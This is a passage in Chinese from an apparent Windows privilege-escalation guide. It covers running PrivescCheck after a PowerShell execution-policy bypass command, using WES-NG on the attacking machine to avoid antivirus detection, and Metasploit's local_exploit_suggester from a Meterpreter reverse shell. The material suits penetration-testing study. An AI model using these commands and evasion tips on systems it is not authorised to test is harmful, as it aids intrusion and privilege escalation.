时,您可能需要绕过执行策略限制。可使用如下命令:PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force PS C:\> . .\PrivescCheck.ps1 PS C:\> Invoke-PrivescCheck
6.3 WES-NG
一些漏洞利用建议脚本(例如winPEAS
)需要将它们上传到目标系统并在那里运行。这可能会导致防病毒软件检测并删除它们。为了避免引起不必要的注意,WES-NG
可以在攻击机器上运行。
安装完成后,在使用之前,输入wes.py --update
命令来更新数据库。该脚本会引用它创建的数据库来检查是否存在缺失的补丁,这些补丁可能导致您可以利用的漏洞以提升在目标系统上的权限。
6.4 Metasploit
如果你已经在目标系统上获得了一个Meterpreter反弹shell,可以使用 multi/recon/local_exploit_suggester
模块来列出可能影响目标系统的漏洞,这些漏洞可以帮助你在目标系统上提升权限。